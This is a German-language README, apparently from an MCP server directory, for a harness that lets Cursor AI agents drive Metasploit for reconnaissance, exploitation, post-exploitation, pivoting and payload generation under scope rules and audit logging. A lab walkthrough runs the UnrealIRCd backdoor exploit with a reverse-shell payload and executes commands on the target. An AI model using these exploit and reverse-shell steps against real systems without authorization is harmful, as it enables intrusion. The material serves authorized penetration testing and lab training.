msf-harness
Metasploit Cursor Harness
Agentischer Penetrationstest-Harness, der Cursor KI-Agenten mit dem Metasploit Framework über MCP (Model Context Protocol) verbindet. Bietet strukturierten, scope-erzwungenen Zugriff auf Metasploit RPC über 54 zweckgebaute Tools, die Reconnaissance, Exploitation, Session-Management, Post-Exploitation, Pivoting, Payload-Generierung und Datenbankoperationen abdecken.
Entwickelt für autorisierte Labor- und professionelle Pentest-Workflows mit expliziten Rules of Engagement, serverseitiger Richtliniendurchsetzung, Audit-Logging und PTES-konformer Phasen-/Gate-Methodik.
Warum dieser Harness
Fähigkeit | Dieser Harness | Offizielles msfmcpd | GH05TCREW/MetasploitMCP |
Anzahl der Tools | 54 | ~23 | ~15 |
Serverseitige ROE (CIDR, Modul, Session) | Ja | Nein | Nein |
Cursor-Hooks (Scope-Gates, Risikobewertung, Beweise) | 18 Skripte | Nein | Nein |
PTES-Workflow-Phasen/-Gates | 7 Phasen, 57 Skills | Nein | Nein |
Konsolen-basierte Exploit-Ausführung | Ja | Nein | Ja |
asyncio.to_thread (nicht blockierend) | Ja | Ja | Nein |
Domain-Autorisierung | Ja (fail-closed) | Nein | Nein |
Automatische LHOST-Erkennung | Ja (plattformübergreifend) | Nein | Nein |
Check-vor-Exploit-Gate | Erzwungen | Nein | Nein |
Audit-Logging + Weltzustand | Ja | Nein | Nein |
In sich geschlossene Pentest-Skills | 57 Skills in 5 Stufen | Nein | Nein |
Related MCP server: MSFConsole MCP Server
Funktionen
54 MCP-Tools – decken Reconnaissance, Exploitation, Sessions, Meterpreter-Operationen, Pivoting, Payloads, Handler, Workspaces, Konsole, Datenbankschreibvorgänge und Labor-Helfer ab
Konsolen-basierte Exploits – mit synchroner Ausgabeerfassung, Sitzungserkennung und Fehleranalyse
Serverseitige ROE-Durchsetzung – CIDR-Scope, Domain-Autorisierung, CIDR-Breitenbegrenzungen, Sitzungslimits, DoS-Blockierung, Check-vor-Exploit-Gate
18 Cursor-Hook-Skripte – Scope-Validierung, Risikobewertung (0-100), Duplikaterkennung, Beweisprotokollierung, Weltzustandsverfolgung, Anmeldedaten-Schwärzung
57 in sich geschlossene Agenten-Skills – PTES-Workflow, domänenspezifische Playbooks (Web, AD, Cloud, Container, Mobil, Binär, Evasion, Service-Level, Schwachstellenklassen)
5 spezialisierte Subagenten – Orchestrator, Recon, Exploit, Post-Exploitation, Reviewer
Plattformunterstützung
Plattform | Status | Hinweise |
Windows + WSL2 + Kali | Primär | Vollständige Hook-Pipeline, Labor-Docker-Unterstützung |
Natives Linux / Kali | Unterstützt | Erfordert |
macOS + entferntes MSF | Experimentell | MCP-Server funktioniert; Hooks benötigen |
Voraussetzungen
Python 3.10+
Metasploit Framework (in WSL/Kali oder nativem Linux)
Cursor-IDE mit MCP-Unterstützung
PowerShell Core (
pwsh) für die Hook-PipelineAutorisierte Ziele, definiert in
scope/scope-master.txt
Schnellstart
1. Klonen und installieren
git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"2. Anmeldedaten konfigurieren
cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)3. Metasploit RPC starten
Windows (WSL):
.\scripts\start-msfrpcd.ps1Linux / Kali (nativ):
./scripts/start-msfrpcd.sh4. MCP in Cursor aktivieren
cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project pathAktivieren Sie msf-harness in den Cursor-Einstellungen > MCP.
5. Einrichtung überprüfen
python scripts/doctor.py # Check all prerequisites
python scripts/validate-mcp.py # Test RPC connectivityFühren Sie dann im Cursor-Chat msf_status aus, um die MCP-Verbindung zu bestätigen.
6. Labor-Ziele (optional)
Siehe docs/LAB.md für das integrierte Metasploitable2-Docker-Labor.
Für HackTheBox, TryHackMe, OSCP oder eigene Ziele siehe docs/BYO-TARGETS.md.
Detaillierte Einrichtungsanweisungen finden Sie in docs/SETUP.md.
Oder führen Sie das Ein-Kommando-Bootstrap aus:
.\scripts\bootstrap.ps1Ihr erster Exploit
Sobald die Einrichtung abgeschlossen ist und msf_status im Cursor-Chat funktioniert, versuchen Sie diese End-to-End-Demo gegen das Docker-Labor:
1. Starten Sie die Labor-Ziele:
.\scripts\start-lab-targets.ps12. Bitten Sie den Agenten im Cursor-Chat, das Labor auszunutzen:
Scannen Sie das Labor-Ziel unter 10.255.255.254 Port 9667 und nutzen Sie die UnrealIRCd-Hintertür mit Engagement lab-default aus
Der Agent wird:
msf_module_checkausführen, um zu überprüfen, ob das Ziel verwundbar ist (von ROE gefordert)msf_get_lab_networkaufrufen, um LHOST automatisch zu erkennenmsf_run_exploitmitexploit/unix/irc/unreal_ircd_3281_backdoorausführenmsf_list_active_sessionsaufrufen, um die Shell zu bestätigenmsf_send_session_commandverwenden, um Befehle auf dem Ziel auszuführen
Oder führen Sie es Schritt für Schritt mit einzelnen MCP-Tool-Aufrufen durch:
msf_status # Verify RPC connection
msf_get_lab_network # Get LHOST and port map
msf_module_check(...) # Probe for vulnerability
msf_run_exploit(...) # Pop a shell
msf_send_session_command(command="id") # Run commands on targetSiehe docs/LAB.md für die vollständige Portkarte und exploit-spezifische Hinweise.
Architektur
Cursor Agent
|-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
|-- Skills (.cursor/skills/: 57 pentest playbooks)
|-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
|-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
|
v
msf-harness MCP Server (Python, FastMCP, stdio transport)
|-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
|-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
|-- Policy/ROE (server-side CIDR, domain, module, session validation)
|-- Console engine (synchronous module execution with output capture)
|
v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
|
v
msfdb (PostgreSQL)MCP-Tools (insgesamt 54)
Schreibgeschützt (keine engagement_id erforderlich)
Tool | Zweck |
| RPC-Konnektivität, Version, Sitzungsanzahl prüfen |
| Module nach Schlüsselwort, CVE oder Name durchsuchen |
| Moduloptionen, Ziele, Referenzen, Rang abrufen |
| Konfigurierbare Optionen für ein Modul abrufen |
| Statistiken zu aktuell laufenden Modulen abrufen |
| Module nach Typ auflisten, mit optionalem Filter |
| Entdeckte Hosts aus msfdb abfragen |
| Entdeckte Dienste (Ports, Protokolle) abfragen |
| Schwachstellenaufzeichnungen abfragen |
| Anmerkungen/Notizen abfragen |
| Gesammelte Anmeldedaten abfragen |
| Gesammelte Beute/Dateien abfragen |
| Aktuelle Sitzungen mit Typ und Ziel auflisten |
| Detaillierte Informationen für eine einzelne Sitzung abrufen |
| Aktive Handler/Hintergrundjobs auflisten |
| Details für einen bestimmten Job abrufen |
| Verfügbare Payloads nach Name/Plattform/Architektur durchsuchen |
| Payloads auflisten, die mit einem bestimmten Modul kompatibel sind |
| Datenbank-Workspaces auflisten |
| Datenbankkonnektivität und Treiberinformationen prüfen |
| Aktive RPC-Konsoleninstanzen auflisten |
| Labor-Zielkonfiguration abrufen (Docker-Ports, LHOST) |
| Aktive Routen für Session-Pivoting auflisten |
Aktion (erfordert engagement_id)
Tool | Zweck |
| Sichere Schwachstellenprüfung (nicht ausbeutend) |
| Ergebnisse eines asynchronen Modul-Jobs per UUID abfragen |
| Exploit-Modul ausführen (Konsolen- oder RPC-Jobmodus, konfigurierbares Timeout) |
| Hilfsmodul ausführen (Scanner, Fuzzer; optionaler Konsolenmodus) |
| Post-Exploitation-Modul auf einer Sitzung ausführen (optionaler Konsolenmodus) |
| Befehl in aktiver Shell/Meterpreter ausführen |
| Eine Sitzung beenden |
| Auf neue Sitzungen nach Exploit/Handler warten |
| Shell zu Meterpreter upgraden |
| Betriebssystem/Architektur/Hostname von Meterpreter-Sitzung abrufen |
| Aktuelle Benutzeridentität von Meterpreter-Sitzung abrufen |
| Laufende Prozesse in Meterpreter-Sitzung auflisten |
| Datei vom Ziel nach evidence/ herunterladen |
| Datei von evidence/ zum Ziel hochladen (sandboxed) |
| Meterpreter-Skript in Sitzung ausführen |
| multi/handler-Listener starten |
| Einen Hintergrundjob stoppen |
| Alle Hintergrundjobs stoppen, um Ports freizugeben |
| Payload-Datei generieren (gespeichert in evidence/) |
| Datenbank-Workspace erstellen |
| Aktiven Workspace wechseln |
| Datenbank-Workspace löschen |
| Scan-Daten importieren (nmap XML, Nessus, usw.) |
| nmap ausführen und Ergebnisse automatisch importieren |
| Beliebigen msfconsole-Befehl über RPC ausführen |
| Route durch Sitzung für Pivoting hinzufügen |
| Eine Route entfernen |
| Routen automatisch über post/multi/manage/autoroute hinzufügen |
| Host manuell in Datenbank melden |
| Entdeckte Anmeldedaten in Datenbank speichern |
| Notiz/Anmerkung zur Datenbank hinzufügen |
Beispiel-Workflow
# 1. Verify connection
msf_status()
# 2. Scan target ports
msf_run_auxiliary_module(
engagement_id="lab-default",
module_name="auxiliary/scanner/portscan/tcp",
options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)
# 3. Check what's open
msf_service_info(host="10.255.255.254")
# 4. Check before exploit (required by ROE)
msf_module_check(
engagement_id="lab-default",
module_type="exploit",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)
# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
engagement_id="lab-default",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
payload="generic/shell_reverse_tcp",
payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
run_check_first=True
)Sicherheitsmodell
Serverseitige ROE (
msf_harness/mcp/policy/roe.py): validiert Ziele gegen Engagement-CIDRs, blockiert verbotene Module, erzwingt Sitzungslimits, begrenzt die CIDR-Scanbreite, erfordert Check-vor-Exploit, validiert Domains (fail-closed)Cursor-Hooks (
.cursor/hooks/): Scope-Gates für jeden Shell-Befehl und MCP-Aufruf, Risikobewertung (0-100 mit CRITICAL-Eskalation), Duplikaterkennung, Audit-Logging inlogs/command-ledger.jsonl, automatisches Speichern von Beweisen, Schwärzung von AnmeldedatenKonsolen-Befehlsanalyse:
msf_console_executeextrahiert und validiert RHOSTS, Modulpfade und db_nmap-Ziele aus RohbefehlenDateipfad-Beschränkungen:
msf_db_importundmsf_generate_payloadaufevidence/- undengagements/-Verzeichnisse beschränktDoS-Module (
auxiliary/dos/*) bedingungslos blockiertEingabebereinigung: nmap-Argumente auf Whitelist, Optionsschlüssel validiert, Konsolenwerte mit Anführungszeichen maskiert
Nur auf Systemen verwenden, für die Sie autorisiert sind.
Fehlerbehebung
Symptom | Lösung |
| Führen Sie |
MCP-Server erscheint nicht in Cursor | Stellen Sie sicher, dass |
„MSF_PASSWORD ist nicht gesetzt" | Setzen Sie es in |
„Ziel nicht im Scope" oder ROE-Ablehnung | Fügen Sie die Ziel-IP/das Ziel-CIDR zu |
Modulprüfung schlägt fehl mit „nicht unterstützt" | Einige Module haben keine |
Keine Sitzung nach Exploit | Überprüfen Sie, ob LHOST korrekt ist ( |
Hook-Fehler in Cursor-Ausgabe | Überprüfen Sie, ob |
Python-Importfehler | Führen Sie |
Führen Sie python scripts/doctor.py für einen vollständigen Voraussetzungs-Health-Check aus.
Entwicklung
pip install -e ".[mcp,dev]"
python -m pytest tests/ -v # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1 # 120 hook tests
python scripts/validate-mcp.py # RPC connectivitySiehe CONTRIBUTING.md für Entwicklungseinrichtung und PR-Richtlinien.
Verzeichnisstruktur
Pfad | Zweck |
| Python-MCP-Serverpaket |
| MCP-Tool-Implementierungen (12 Module, 54 Tools) |
| Metasploit-RPC-Client mit automatischer Wiederverbindung |
| ROE-Durchsetzung (CIDR, Domain, Modul, Sitzung, Exploit-Gate) |
| Autorisierte Ziel-CIDRs und Domains |
| ROE-Konfigurationen und Workflow-Status pro Engagement |
| Erfasste Beweise (gitignored) |
| Hook-Audit-Logs und Befehlsprotokoll (gitignored) |
| PowerShell-Core-Sicherheitsgates (18 Skripte) |
| Agent-Workflow-Playbooks (57 Fähigkeiten) |
| Benutzerdefinierte Subagent-Definitionen (5 Agenten) |
| Immer aktive Agent-Anleitung (3 Regeln + AGENTS.md) |
| Dienstprogrammskripte (RPC starten, Engagement erstellen, Health-Check, MCP validieren) |
| Pytest- und Hook-Testsuiten |
| Setup-Anleitung, Labor-Anleitung, BYO-Ziele-Anleitung |
Lizenz
Danksagungen
Rapid7 Metasploit Framework und offizielles
msfmcpdGH05TCREW/MetasploitMCP für Konsolenausführungsmuster
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- AlicenseNot gradedqualityDmaintenanceEnables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.8MIT
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseBqualityDmaintenanceEnables interaction with Metasploit Framework for authorized security testing, including exploit searches, payload management, network scanning with nmap, and database operations for penetration testing workflows.9MIT
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Free public MCP for AI agents — 193 tools, 44 workflows. No API key.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'
If you have feedback or need assistance with the MCP directory API, please join our Discord server